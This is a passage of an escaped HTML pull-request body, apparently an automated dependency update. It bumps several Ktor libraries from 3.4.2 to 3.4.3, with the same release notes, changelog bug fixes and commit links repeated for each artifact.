href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-content-negotiation` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-content-negotiation's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-content-negotiation's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-serialization-kotlinx-json` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-serialization-kotlinx-json's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-serialization-kotlinx-json's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca 